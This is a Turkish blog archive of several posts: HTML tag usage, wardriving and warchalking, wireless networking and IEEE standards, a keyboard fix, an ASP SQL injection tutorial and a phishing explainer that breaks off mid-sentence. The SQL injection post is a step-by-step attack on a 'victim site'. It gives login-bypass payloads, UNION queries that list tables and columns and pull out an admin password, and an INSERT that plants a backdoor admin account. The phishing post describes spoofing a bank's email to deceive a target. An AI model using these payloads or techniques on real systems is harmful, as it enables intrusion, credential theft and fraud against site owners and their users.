9 Aralık 2009 Çarşamba

Acronym ve Abbr Kullanımları

1: Acronym etiketi

Bir kelime hakkında, mouse ile üzerine gidildiğinde açıklama/ipucu göstermeye yarar.

SEO uzmanlık gerektirir.

Sitede sık kullanılan kelime ya da kelime grupları için nispeten ayrıntılı bilgi vermeyi sağlayan Acronym etiketi, o kelime hakkında bilgi verdiğinden Google tarafından sevilmekte.

2: Abbr etiketi

Abbreviation (Latince:Kısa) kelimesinden türetilen etiket.

Bu etiket, kısaltılmış kelimeler için kullanılır.

Kullanımı:

Prof Emre Çolak.

Kablosuz Aglarda Tarama Wardriving-WarChalking

Daha önceki yazımızda kablosuz ağlarla ilgili bir giriş yapmış, protokolleri ve IEEE nin standartlarını incelemiştik. Kablosuz ağların kırılabilmesi ve içeri sızabilmek için öncelikle saldırganın açık ağları keşfetmesi gerekmektedir. Bu yazı bunun için bilinen metodları ve bunlara karşı nasıl önlem alınacağını anlatacaktır.
Kablosuz ağlarda tarama nedir?

Kablosuz tarama, kablosuz ağdaki uygun AP lerin bulunabilmesi metodudur. Kablosuz ağ kartının promiscuous modda (her paketi kabul eden mod) çalışması ve yazılımınızın iletişime açık AP leri tespit etmesi ile kablosuz ağların tanımlanmasıdır. Bir kere ulaşılabilir bir AP bulduktan sonra, Wardriver onu kullanılabilir klasör olarak tanımlar. Bundan sonra saldırgan o AP in gerekli bütün bilgilerine ulaşabilir(SSID, WEP, MAC vs.) Saldırgan ağa girmek isterse, bütün paketleri daha sonra incelenmek üzere loglar veya WEP ahantar kırıcısını çalıştırarak zayıf anahtar kullanılıyorsa bunu ele geçirir.

Kablosuz ağı taramak için birkaç değişik yol vardır. En çok bilinen ve kullanılan method Wardriving ve sonra da Warchalking dir. Warstrolling, Warflying gibi başka methodlarda vardır. Bu yazıda sadece Wardriving ve Warchalking den bahsedeceğiz.

Niçin "War" ? (Niçin "Savaş" ?)

Wardriving ve Warchalking iinde kullanılan "war" kelimesi aslında eski zamanlarda kullanılan Wardialing den gelmektedir. Wardialing, saldırı amacıyla kullanmak üzere bir telefon numarasının bütün ihtimallerini deneyerek modem takılı olan hattı bulmak olarak tanımlanabilir. Bu yazıda kullanılan Wardriving de kablosuz ağlar için aynı mantıkta kullanılmaktadır.


WarDriving

Wardriving, ilk ve en çok bilinen kablosuz ağ tespit etme (tabii ki güvenliği olmayan yada az olan) metodudur. Genellikle bir gezici birim ile mesela dizüstü veya el bilgisayarları ile kullanılır. Wardriving taraması son derece ustalıkla ve çok basit yollarla gerçekleşir: Saldırgan dizüstü veya el bilgisayarı ile arabasında otururken bir kablosuz ağ tespit edebilir(NetStumbler for Windows, BSD-AirTools for BSD veya AirSnort for Linux) Bir kere uygun bir AP tespit edildikten sonra saldırgan bunu kullanılabilir klasör olarak tanımlar ve araştırabilir. Ve hatta internete ulaşmasını engelleyebilir.

Wardrive için gerekli olan ekipman: Kablosuz ağ kartı (PCMCIA), kendinizi harita üzerinde tespit edebilmek için GPS (Global Position System - Global yer tespit sistemi) -bu aslında çok da gerekli bir araç değildir- , dizüstü veya başka tür bir gezici bilgisayar, Linux red Hat veya Debian işletim sistemi (Windows pek tavsiye edilmemektedir), kablosuz iletişim yazılımları (WEPCrack, AirSnort vs..)

Yukarıda sayılan ekipmanlar kolaylıkla bulunabilir ve çok ucuzdur.


WarChalking

" Ve yeni bir dil gelişiyor: WarChalking. Bu fikir "hobo sembolleri - hobo symbols" temeline dayalıdır ve caddedeki semboller orada açık bir kablosuz ağ olduğunu ve ayarlarını anlatır. Anlaşılması güç ve kargacık burgacık gibi gözükmekte ve birçok insan bunun eski grafiti yazılarına benzediğini düşünerek aldırmadan yürüyüp geçmektedir fakat saldırganların anlayabileceği birçok bilgi içerirler" - Zig
Kaynak: Wardom http://www.wardom.org/showthread.php?t=23577

WarChalking bi grup arkadaş tarafından 2002 haziranında tasarlandı ve Matt Jones tarafından yayınlandı.

WarChalking basitçe, yol kenarlarına veya duvarlara tebeşir ile orada bir kablosuz ağın olduğunu gösteren semboldür, böylece diğerleri kolayca bu ve diğer detayları not edebilmekte idi. WarChalking, yolların düşük teknoloji krallarının birbilerini barınak, yemek ve potansiyel tehlikelere karşı korumak için kullandıkları hobo işeret dilinin modern uyarlamasıdır. Bu tebeşir işaretleri, kablosuz ağlar hakkında görsel bir işaretten başka birşey vermez.

Aşağıdakiler WarChalking sembolleridir:

Symbol Key

SSID Open Node
)(
Bandwidth

SSID Closed Node
Kaynak: Wardom http://www.wardom.org/showthread.php?t=23577
()

WEP Node SSID Access Contact
( W )
Bandwidth

WarChalking�e bir örnek:

Retina
)(
1.5

Bu sembolün manası; Burada SSID �Retina� olan ve bant genişliği 1.5 Mbps olan bir istasyon olduğudur.

Bu sembolleri kullanmakla, WarDrivers için gerekli olan istasyona ve ağa ait birçok bilgi alınmış oluyor. WarChalking'i anlamanın yollarını bilen biri, ağada rahatlıkla online olabilir.


WLAN ları güvenli hale getirmek

Kablosuz ağları güvenli hale getirmek kablolu ağlara göre çok daha basittir. Güvenli bir kablosuz ağ yaratabilmek için birkaç işlem yeterliş olacaktır. Bunun yanında kendinize "Neden o zaman kablosuz ağları kırmak bu kadar kolay?" diye sorabilirsiniz. Cevabı çok basit. Bir şirket ne zaman bir kullanıcısına kablosuz olarak bağlanmak istese, sistem sorumluları sıklıkla router, ateş duvarı, AP, WEP i açma ve diğer birçok şeyin başlangıç değerlerini değiştirmeyi unutmaktadır. Başlangıç değerleri değiştirilmediği için de bu ağ artık saldırılara açık hale gelmektedir.

Bunun yanında, sistem sorumlularının birçoğu, kablosuz ağların, binanın duvarlarının dışına kadar gittiğini unutmaktadır. Kapıda güvenlik memuru olabilir, ve kablolu ağlar için en iyi ateş duvarlarına sahip olabilirsiniz fakat kablosuz ağlar için arka kapı sonuna kadar açıktır.

Kablosuz ağları güvenli hale getirmek için neler yapılabileceğini bu yazıda anlatmayacağız. Bundan sonraki yazımızda bu konuda olacaktır.

Msn De Klavye Sapmasına Son!

Birçok Kişinin Başına Gelmiştir. Klavye Tuşlarına Bastığınızda Farklı Karekterde Yazılar Çıkar. Bunu Önlemek İçin aşağıdaki Adımları Takip Etmeniz Yeterli.

Denetim Masası / Bölge Ve Dil Seçenekleri / Diller / Ayrıntılar

Yüklü Hizmetlerde Sadece Tükçe Kalacak Şekilde diğerlerini Kaldırın.



Artık Böyle Bir Sorunla Karşılaşmazsınız.

Kablosuz Ağlar Bölüm 2

Her kablosuz ağ radyo vericisi ve anten gerektirmektedir. Kablosuz ağ bileşenleri istasyonlar (STA - Stations) veya bağlantı noktaları (AP - Access Point) olarak bilinirler. Temel servis seti (BBS - Basic Service Set) biçimlendirilmişken, 2 veya daha fazla istasyon birbirleri ile ve ağ ile iletişim kurarlar. Genişletilmiş servis seti biçimlendirilmişken, BBS ler (herbiri bir AP içerir) birbirine bağlanmıştır.

Standart kablosuz ağlar(802.11) şu 2 moddan biri ile çalışırlar :
Kaynak: Wardom http://www.wardom.org/showthread.php?t=23561
* ad-hoc (peer-to-peer / makinadan makinaya)
* infrastructure (altyapı)

ad-hoc modu BBS bağımsız olarak tanımlanabilir. Infrastructure modu ise BBS gibidir.

ad-hoc modunda, her kullanıcı ağdaki bir diğeri ile direkt iletişim kurar. Bu mod, birbirleri ile iletişim mesafesinde olan kullanıcılar için tasarlanmıştır. Eğer bir kullanıcı bu tanımlanmış mesafeden dışarıya çıkarak iletişim kurmak isterse, arada bir kullanıcı ağ geçidi ve yönlendirici olarak görev yapmak zorundadır.

Infrastructure modunda ise, her istasyon bağlantı isteklerini bağlantı merkezi olarak bilinen (AP - Access Point) merkez istasyona yollar. AP ler bildiğimiz kablolu ağ anahtarları gibi çalışır ve iletişimi kablolu veya diğer bir kablosuz ağa yönlendirir. AP ler ve istasyonlar veri iletişimine başlamadan önce iletişim sağlamalıdırlar. Sadece ve sadece iletişim sağlandıktan sonra veri alış verişi başlar. İletişim kurulması 3 durum içerir:

- Doğrulanmamış ve ilişkilendirilmemiş
- Doğrulanmış ve ilişkilendirilmemiş
- Doğrulanmış ve ilişkilendirilmiş

Durumlar arası geçiş, yönetim çerçeveleri (Management Frames) olarak adlandırılan iletişim alış veriş mesajları ile gerçekleşir. AP ler belli aralıklarla işaret yönetim çerçeveleri yollamak üzere tasarlanmışlardır. AP ile iletişim kurmak ve BBS e girebilmek için, istasyon bu işaret yönetim çerçevelerini dinler ve AP in iletişim mesafesinde olup olmadığını anlar. İstasyon bu işaret çerçevesini (mesajını) aldığı zaman hangi BBS e dahil olacağını seçer. Bütün ağ isimlerini ve servis seti tanımlayıcılarını (SSID - Service Set Identifiers) içerir bu işaret çerçeveleri. Fakat Apple Macintosh larda kullanıcı dahil olmak istediği SSID yi kendisi seçmek zorundadır.
İstasyon istenen SSID ile iletişimde olduğu AP ye araştırma istek çerçevesini yollar. İstasyon AP yi tanımladıktan sonra birbirlerine kimlik denetimi için birkaç yönetim çerçevesi yollarlar. Halen 2 standart kimlik tanımlama mekanizması varır : Açık anahtar kimlik tanımlaması ve Ortak anahtar kimlik tanımlaması (Open Key Authentication ve the Shared Key Authentication). Genellikle kablosuz ağlar birinci mekanizmayı kullanırlar ve bu başlangıç değeri olarak tanımlanmıştır (Güvenlikten yoksun kalınmaması için).
Eğer kimlik tanımlaması sorunsuz giderse, istasyon ikinci adıma geçer: Doğrulanmış ve ilişkilendirilmemiş (authenticated and unassociated). İstasyon ilişkilendirilme istek çerçevesini yollar ve AP buna cevap verir. Eğer herşey yolunda giderse istasyon son ve 3. adıma geçer: Doğrulanmış ve ilişkilendirilmiş (authenticated and associated). İstasyon artık ağda bir kullanıcıdır ve veri transferine başlayabilir.

Kablosuz Ağ Tipleri

BlueTooth

Bluetooth henüz çok fazla yaygın bir kullanıma sahip değil ve bilgisayarlar arasında yüksek hızlı veri transferinde yer alması beklenmiyor. Bu teknoloji hakkında daha geniş bilgiyi şu linkte bulabilirsiniz:
http://www.howstuffworks.com/bluetooth.htm

IrDA

IrDA, kızıl ötesi direkt ulaşım olarak karşımıza çıkıyor ve iletişimde kızılötesi ışın vurumları kullanan cihazlar için standarttır. IrDA aygıtlar kızılötesi ışınlar kulladığından beri diğeri ile iletişim kurabilmek için aralarında direkt bir görüş açısı bulunmak zorundadır. IrDA kullanan kablosuz ağlar veri taransferi için en fazla 4 Mpbs kullanabilmektedir, fakat direkt bir görüş açısı olması gerektiği için her odada bir AP gerektirmektedir.

HomeRF

HomeRf ler ortak kablosuz iletişim protokolüne (SWAP - Shared Wireless Access Protocol) göre geliştirilmişlerdir. Temel olarak SWAP aygıtları, saniyede 50 atlama noktası (HPS - hops per second) ve 1 Mbps hızında olup bazen 2 Mbps hızında çalışabilmektedirler.
AP, kablo gerektirmezler, 120 aygıta kadar destekleyebilirler (her ne kadar ev kullanıcıları için fazla olsada), veriyi şifreli olarak iletebilirler ve daha birçok özellikleri vardır. Belki hiçbir dezavantajı olmayan bir ağ olarak düşünebilirsiniz, fakat ne yazık ki var. Yukarıda bahsedildiği gibi, veri transfer hızı 1 Mbps dir, menzili ise 23 ile 38 mt arasındadır, hazli hazırda var olan kablolu ağa katmak ise oldukça güçtür ve daha fazlası.

Birçok durumda, SWAP tabanlı ağlar ad-hoc modunu kullanırlar, fakat hala bazı üreticiler kablosuz ağların menzillerini arttırmak için AP önerirler. Ev kullanıcıları için kablolu kişisel ağ veya geleneksel ağ kartı ile HomeRF e göre 10 belki 100 kat daha hızlı çalışmak daha iyi olacaktır. Yine de evdeki ağınızda video kullanmayı veya oyun oynamayı düşünmüyorsanız, SWAP hızı sizin için yeterli olacaktır.

WECA (Wi-Fi)

Wi-Fi kablosuz ağlar, HomeRF e göre tamamen farklı bir yönde gitmektedir. Wi-Fi ağlar ev kullanıcılarından çok ofis kullanıcılarını hedeflemektedir. Wi-Fi nin IEEE de karşılığı 802.11b dir ve kanlosuz bağlılık (Wireless Fidelity) olarak karşımıza çıkmaktadır. Bu özellik, yüksek veri transfer hızına ulaştığı için DSSS üzerine yoğunlaşmasına sebep olmaktadır. Wi-Fi aygıtlar, eğer mümkünse 11 Mbps hızına ulaşmaktadır. Eğer sinyalde zayıflama veya veri bozulması yaşanırsa aygıt otomatik olarak 5.5 Mbps veya 2 Mbps ve son olarak 1 Mbps hızlarına düşmektedir. Arada sırada bu tür yavaşlamalar ağınızı daha kararlı ve çok güvenilir kılacaktır.

Bazı Wi-Fi avantajları:

- Çok hızlı ve 11 Mbps hızına çıkabilmekte
(Çevirmen notu : Daha öncede belirttiğim gibi Wi-Fi5 standartına göre 54 Mbps hızıda mümkün. Bu Wi-Fi teknolojisini daha seçilebilir yapmıyor mu?)
- Kararlı ağ oluşturur
- Yüksek menzile sahip (305 mt açık alanda, 122mt kapalı alanda)
(Çevirmen notu : Kullandığınız cihaza göre bu değişebilmekte. Bu mesafeyi etkileyen diğer etkenler ise kullandığınız antenler ve binanızın yapısal özellikleridir. Mesela çelik bir konstrüksiyon ile beton atasında hatta tuğla bir bina yapısı içinde çalışmak arasında çok fark olacaktır. Fakat genelde gördüğüm mesafeler şu şekildedir : Açık alanda en fazla 30 km. , kapalı alanda ise en az 50mt)
- Bütün DSSS 802.11 aygıtları desteklemektedir

Wi-Fi hala en iyi çzöüm gibi gözüksede, onun da dezavantajları var:

- Pahalı (300$ ile 1400$ arası değişmektedir)
(Çevirmen notu : Bu rakamlar amerika rakamları olsa gerek tecrübelerime göre :
En basit bir AP ile sadece bir çalışma grubu (Workgroup) oluşturmak isteseniz size maliyeti 300 ile 700 dolar arası değişiyor. Fakat binalar arası bir sistem kumayı planlıyor iseniz o zaman 3000 dolar civarında olacaktır. Tabii 54 Mbps sistem kurmak daha da maliyetli olacaktır. Bu arada hiçbirinde istasyon için alınacak kablosuz ağ kartını hesaplamadık)
- AP gerektirmektedir
- Kurması zor olabilir

Kablosuz Ağlar Bölüm 1

IEEE Standartları ve Kablosuz Ağlar:

Kablosuz ağlara girmeden önce IEEE nin kablosuz ağlar hakkındaki standartalrını anlamak çok önemlidir.

IEEE (The Institute of Electrical and Electronics Engineers) 802.X adı altında; Yerel ağlar (LAN - Local Area Networks), Metropol ağlar (MAN - Metropolitan Area Networks) ve BlueTooth gibi Kişisel ağlar (PAN - Personel Area Networks) için standartlar çıkartmıştır. IEEE nin 802 si, OSI'nin son 2 katmanı olan Ortam Ulaşım Kontrol (MAC - Media Access Control) veya Bağlantı Katmanı (Link Layer) ve Fiziksel Katman (Physical Layer) daki süreç standartlarını ve işlemleri sınırlandırmıştır.

IEEE 802 LAN/MAN/PAN standartları komitesi kendi içinde 802.1 den 802.17 ye kadar çalışma gruplarına ayrılmıştır. Böyle ufak çalışma gruplarına ayrılmalarının yararı, her grubun kendi farklı konularını ve geliştirme standartlarını sağlamalarıdır.

Bu tanım içindeki en önemli çalışma grupları şunlardır :

- 802.1 - Güvenlik ve diğer konular
- 802.2 - Mantıksal Bağlantı Kontrolleri (LLC - Logical Link Control)
- 802.11 - WLAN'lar için standartlar üretmek (Kablosuz lokal ağlar)
- 802.15 - WPAN'lar için standartlar üretmek (Kablosuz kişisel ağlar)

802.1 ve 802.2, kablosuz lokal ağlar için uygulanmaktadır. Her çalışma grubu kendi içinde görev gruplarına ayrılmışlardır. Bu görev grupları çeşitli ihtiyaçların sağlanması ve standartların geliştirilmesi üzerine çalışmaktadır.

Kablosuz ağlar kurmak için şu anda kullanılan ana standart IEEE 802.11 dir. IEEE 802.11 ilk olarak 1999 da yayınlanmıştır ve 2.4 Ghz de 2Mbps (DSL bağlantı gibi) hızında veri iletişimi için tasarlanmıştır. Ayrıca Frequency Hopping Spread Spectrum (FHSS) veya Direct Sequence Spread Spectrum (DSSS) kullanılmak üzere tasarlanmıştır.
Kaynak: Wardom http://www.wardom.org/showthread.php?t=23561

DSSS in anlamı; belirlenmiş menzil içinde herhangi bir zamanda kullanılmak üzere, verinin uygun değişik frekanslarda küçük paketler halinde yollanılmasıdır.

FHSS de ise; veri, değişik frekanslarda kısa ama iri paketler şeklinde tekrarlanan bir biçimde yollanır. FHSS ağlar, diğerleri ile karışmayan aynı fiziksel alanlar için vardır.

Bugün, "a" dan "i" ye kadar sınıflandırılan görev grupları değişik metodlar ve 802.11 standartının geliştirilmesi için çalışmaktadır. WLAN lar için 802.11b standardı gelmektedir(Wi-Fi). Bu standart DSSS kullanmaktadır ve 2.4 Ghz de, 11Mbps (DSL den yüksek bir hızdır) e kadar veri hızına çıkılmaktadır. Tabii ki bu standart sonsuza dek WLAN lar için tek standart olmayacaktır. Fakat daha yüksek hız, güvenlik ve daha iyi kalite için tercih edilecektir.

Aynı evrim kablosuz ağ dünyasından tamamen çıkmakta olan kablolu ağ kartları için de gerçekleşmiştir. Bugünkü kablosuz ağ standart hızı 11 Mbps dir, fakat yakın bir gelecekte daha yüksek hızlara ulaşması mümkündür. Kablosuz ağlarda daha yüksek veri hızlarına çıkmak için 2 seçenek vardır. Birincisi zaten bulunmuş ve geliştirilmiştir. Diğer ise henüz geliştirilme aşamasındadır.
(Çevirmen Notu: Yazarın bu yazıyı yazdığı tarih aslında çok eski değil. 7 ay kadar önce yazılmış bir yazı. Fakat düzeltilmesi gereken bir nokta var ki; artık aynı görev grubu 802.11a standardı üzerine çalışmakta olup 5Ghz de 54 Mbps hızlara ulaşan WLAN ağ cihazlarını bulabilmek mümkündür)

Kablosuz ağlar için, 802.11b standardı içinde 3 adet daha standart geliştirilmiştir :

802.11a - 802.11a standardı 1999 da yayınlanmış olup, OFDM (Orthogonal Frequency Division Multiplexing) kullanmakta ve 5 Ghz de 54 Mbps hızına çıkabilmektedir. Bu standart ile ilgili problem 5 Ghz lik yayının duvar ve diğer objelerden geçerken daha fazla yol kaybna uğramasıdır. Bu problemi gidermenin yolu, dhaa fazla veri hızı için daha fazla ulaşım noktası(AP - Access Point) kullanılmasıdır.

802.11g - 802-11g standardı 2.4 Ghz de (aynı 802.11b Wi-Fi gibi) ve 22 Mbps hızında OFDM kullanmaktadır. 802.11a ile karşılaştırıldığında daha az yol kaybı ve daha ucuz olması gösterilebilir.

802.11e - Eğer servis kalitesine bakıyorsanız (QoS - Quality of Service) doğru standarttır. 802.11e, bugünkü 802.11 standardını geliştirmek ve servis kalitesi arayan uygulamalara desteğini genişletmek üzere çalışmaktadır. Kablosuz ağlar hem ev hemde iş alanları için uygundur. Her ikiside çoklu ortam (Multimedia) desteği istemektedir (özellikle evlerde). 802.11e buna çare bulmaya çalışmaktadır. Hem kablolu hemde kablosuz ağlarda, veri transferi, bağlantının kesilmesi veya paketlerin tekrar yollanmasının sekteye uğraması ile direkt bağlantılıdır (Birçoğumuzun başına bu birkaç kez gelmiştir sanırım). Bu kesilmeler düzenli veri akışını isteyen durumlarda problem yaratır. 802.11e, zamana hassas uygulamaların daha rahat kullanılabilmesi için kaliteli servis temel dokümanını oluşturmaktadır.

IEEE nin kablosuz ağlar standartları ile ilgili bu kısa girişten sonra şimdi bu yazının asıl kısmına gelelim: Kablosuz Ağlar. Şu ana kadar kullanılan bazı terimler Kablusuz ağlara ait sözlükten alınmış olup ilerleyen bölümlerde daha detaylı inceleyeceğiz.


Kablosuz Ağ

Giriş
Internet teknolojisinin son birkaç yılı şaşırtıcı ve çok uzun adımlarla ilerlemiştir. Sadece birkaç yıl önce 56Kbps modemleri kullanırken şimdi insanlar şirketlerinin sahip olduğu T1 (2 Mbps) bağlantıyı evlerindeki 6 Mbps bağlantı ile karşılaştırıp beğenmiyorlar.

Daha önce bilgiye bedava ve hızlı ulaşım bu seviyede değildi. Internet bağlantı hızları geliştikçe ve insanlar megabit lerce dosya indirme hızına ulaştıkça daha fazla bilgiye aç olacaklar gibi gözüküyor. En çok kullanılan ve tercih edilen servis türü DSL (Digital Subscriber Line) olmaktadır. DSL bant genişliği olarak 384 Kbps den 6 Mbps e kadar olup, herkezin sahip olduğu standart telefon hatları üzerinden ulaşım sağlamaktadır. Bu servis çok ucuz olmayıp aylık 50$ ile 300$ arası ücretlere sahiptir ve ISP ekipmanı gerektirmektedir. Sorulan soru şudur: "Bir şirketin yüksek internet hızlarına sahip olması mı yoksa dolaşıma izin veren ağ ekipmanına sahip olması mı?"

Bu sorunun cevabı WLAN dır. WLAN serbest dolaşıma izin veren ağ ekipmanı üretmektedir. Aynı zamanda ucuz ve yüksek bant genişliği servisinide sağlamaktadır. Kablolu bir ağ tasarlamak için ortaya çıkan maliyet ile kablosuz ağ tasarlandığında arada çok fazla bir fark olmadığı görülecektir. İş dünyasında kablosuz bağlantı, daha fazla dolaşılabilirlik ve internete her zaman bağlı kalabilme gibi özellikler getirmektedir.

Bugünlerde 4 tip kablosuz ağ vardır. Bunlar ucuz ve yavaş olandan, pahalı ve hızlı olana doğru sıralanırsa:

- BlueTooth
- IrDA
- HomeRF
- WECA (Wi-Fi)

Bu ağ tipleri ilerleyen kısımlarda açıklanacaktır.

WECA, kablosuz ağ kartları uyumluluk ittifakı için kullanılmaktadır ve 802.11 ürünlerine sertifika vermektedir. İlk jenerasyon ürünler WECA tarafından sertifikalanmış ve 802.11b temeline göredir. Bütün ürünler Wi-Fi logoso ile damgalanmış olup, Wi-Fi olarak bilinirler. Sonraki jenerasyon ise 802.11a ürünleridir ve bunlar da Wi-Fi5 logosu ile damgalanmışlardır.

ASP SQL Enjeksiyon

ASP Sql Enjeksiyon a geçmeden önce bir kaç temel kavrama bakalim;

Veritabani Programları:

Günümüzde, birçok firmanın ürettiği db programları mevcuttur... Ama bunların en bilinenleri ORACLE , SQL SERVER, MS ACCESS, FOX PRO'dur.

SQL Nedir :

Sql (Structured Query Language) bir veritabani dilidir.Uygulama geliştiriciler, bir veritabanina yeni tablo veya veri eklerken,
silerken veya bir veriyi ararken bu dili kullanırlar.Bu anlamda geniş kabul görmüş bir standarttır. Örneğin MS ACCESS'te
bunu yapmanın baska yöntemleri de olsa, sonuçta Sql karşılığı her zaman vardır. Örnek bir Sql ifadesi yazalım;
diyelim ki xchatx tablosundan Hack isimli dökümanin fiyatını bize bulsun:) Sql de sorgulamalar SELECT ile yapılır Bu sorgu yazilisi ;

SELECT fiyat FROM xchatx WHERE dokuman ismi="hack"

SELECT deyiminden sonraki gelen ilk ifade, sorgunun sonundaki WHERE kriterine göre tespit edilen kriterlerin hangi alanlarının
görüntüleneceği bilgisidir. FROM deyiminden sonraki ifade,sorgulkamanin hangi tablodan yapılacağını bildirir. WHERE deyimi
ise , sorgulamanın hangi kriter ya da kriterlere göre yapılacağını belirtmemizi saglar.

Iste SQL ENJEKSİYON DA İLK BASTA SITENIN DB sindeki TABLO İsmini bilmemiz gerekmez mi sizce yoksa SELECT WHERE Falan nasi kullanalım
o nedenle SqL a ilk basta hata verdirip Tablo ismini öğrenmeliyiz.SQL Hata verdirtmek için sunlar yapılabilir:

Asp sql enjeksiyondan bahsedeceğim Asp sitemizin tabiki db si ve sql si olan search engine ya da login barina :

'

Bunu yazıyoruz Egeeer :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'xchatx1' to a column of data type
int./index.asp, line 29

Burda illa da line 29 ve index.asp olmak zorunda degil tipa tip
aynisi olmayacak elbette sadece Sytntax error oracle falan çikmasi
lazim...


Başka türlü de Sql hata verdirebilirsiniz

'or 1=1--

" or 1=1--

' or 'a'='a

or 1=1--

') or ('a'='a

" or "a"="a

Bunları da aynen deneyin şimdi o hatayı aldık da ne oldu diyorsanız orda TABLE ismini öğrendik xchatx1 table namemimiz.(yani numaramız :))

Simdi burdan diger tablolarında ismini öğrenmemiz lazim... SELECT* FROM xchatx1 WHERE dokumanID='' or 1=1--'

Burda yaptığımız şey bize xchatx1 table inda dokumanIDsi boş olan şeyi getir ya da 1=1 degerine uyan tabloyu getir dedik burda feyk attik SQL a yani.Burdan diğer table isimlerini de öğreniriz. Sonra istediğimiz şeyi SELECT WHERE deyimlerini kullanarak getiririz. Önümüze...

Şimdi örnek bir saldırı yapalım ve yeni şeyler öğrenelim müritler

ilk önce kurban siteyi seçtik....

Baktık sql açığı da var ' bu işaret ile test ettik açık var yani.

http://http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--UNION SQL a birden çok soru sormak için kullandık

INFORMATON_SCHEMA.TABLES-- ise hiç table ismi bilmediğimiz için
yazdık

Top 1 table_name ise en üstteki tablo anlamına geliyor.

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value 'serles' to a column of data type int.
/index.asp, line 23

Hatamızı aldık
Top 1 table_name serles mis!

Şimdi işimize yarayacak tablelari öğrenelim mesela admin tablelarini burda da LIKE deyimini kullanicaz içinde admin geçen
kelimeleri getir bize SQL!

http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1
TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25admin%25'--

Hatayı alıyoruz :

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'[Microsoft][ODBC sql Server Driver][sql Server]Syntax error converting the nvarchar value 'admins' to a column of data type int./index.asp, line 3

Burda admin diye başlayan admins diye bir table var. Simdi bu admins table inin column yani sutünlarini öğrenme zamanı!

Kodu yazıyoruz : http://www.siteadi.org/index.asp?catid=3 UNION
SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE = 'admins'--

Burada da INFORMATION_SCHEMA.TABLES yerine INFORMATION_SCHEMA.COFORMATION_SCHEMA.COLUMNS deyimini yazdik. Yani yine feyk attik Yani yine feyk attık sql'e, o da bu feykimizi yedi

Hatayı alalım:

icrosoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value 'logonID' to a column of data type int. /index.asp, line 22

ilk kolum LogonID çıktı

Şimdi 2.sütunu yazıyoruz:

http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1 COLUMN_NAME FROM NFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admins' WHERE COLUMN_NAME NOT IN ('logonID')--

Burada en tepede olan ama LogonID olmayanı istedik ve hatayı görelim


Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value 'logs' to a column of data type int.

Öğrendik adı logs artık şifre neredeyse geliyor :) password detaillerine bakıcaz www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admins' WHERE COLUMN_NAME NOT IN ('logonID','logs','password',details')--

Hata :

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC sql Server Driver][sql Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 4

İki sütun var şansımıza güvenelim ilk logonu deneyelim :

http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1 logon FROM admins--

admins table indeki logon sütunundaki ilk ini seçiyoruz.

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value 'isko' a column of data type int./index.asp, line 7

veee admin nick geldi şimdi tahribat müritleri işin ennn basit noktasına geldik :)

isko isimli kullanicinin şifresini ver bize SQL:

http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1 password FROM admins where logon=' isko '--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC sql Server Driver][sql Server]Syntax error converting the nvarchar value 'benlamerim' to a column of data type int. /index.asp, line 4

Şifremizi Aldık:benlamerim

Kendimiz de kullanici yaratabiliriz admins table inda logon columnünde

Kodu : http://www.siteadi.org/index.asp?catid=3; INSERT
INTO 'admins' ('logonID', 'logon', 'password', 'details') VALUES
(223,'tahribat','123456','NA')--

tahribat nickli bir admin oluşturduk şireside 123456 işte bu işte bu kadar

Pishing Nedir, Nasıl Korunulur?

ishing online sanal dolandırıcılık sanal alemde çeşitli methodlarca kandırmaca olarak bilinmektedir. Bu yolla genellikle internet kullanıcılarının kredi kart bilgileri, para transferi gerçekleştirdiği çeşitli accountlar, alışveriş siteleri ve para akışı gerçekleştirilen sistemler sadece para değil önemli bir takım bilgi akışını gerçekleştirildiği sistemler ele geçirilmektedir.

Pishing nasıl gerçekleştirilmektedir? genel olarak E-Mail yoluyla gerçekleştirilen pishing yöntemlerinden bahsedecek olursam, öncelikle hedef kullanıcı pishing dolandırıcılığını gerçekleştirecek olacak kişi tarafından izlenmektedir. Bu kurban kişi hangi bankalardan online işlem yapmaktadır, hangi alış veriş sitelerinden alışveriş yapmaktadır diye sağolsun bu konuda kişiye facebook da çok yardımcı olmaktadır. Hedef kullanıcı diyelim ki www.tbtbank.com.tr den işlemlerini gerçekleştiriyor ve tbtbank da müşterilerine hangi E-mail aracılığıyla ulaşıyor mesela musterihizmetleri@tbtbank.com.tr adlı mail ile işte kredi kartı ekstreleri sonra gerçekleştirdiği işlemlerin bilgisi ve yeni kampanyalar ve çeşitli banka hakkında ki bilgilendirmeleri belirtmektedir. Anonymail yöntemi çok yaygındır çeşitli script ve sitelerce bu işlem gerçekleştiriliyor. Hedefe musterihizmetleri@tbtbank.com.tr dan gelmiş gibi bir mail gönderilir mailde ki senaryo tamamen saldırıganın hayal gücüne kalmıştır. Ben meselasize şöylebir senaryoile örnek vereyim
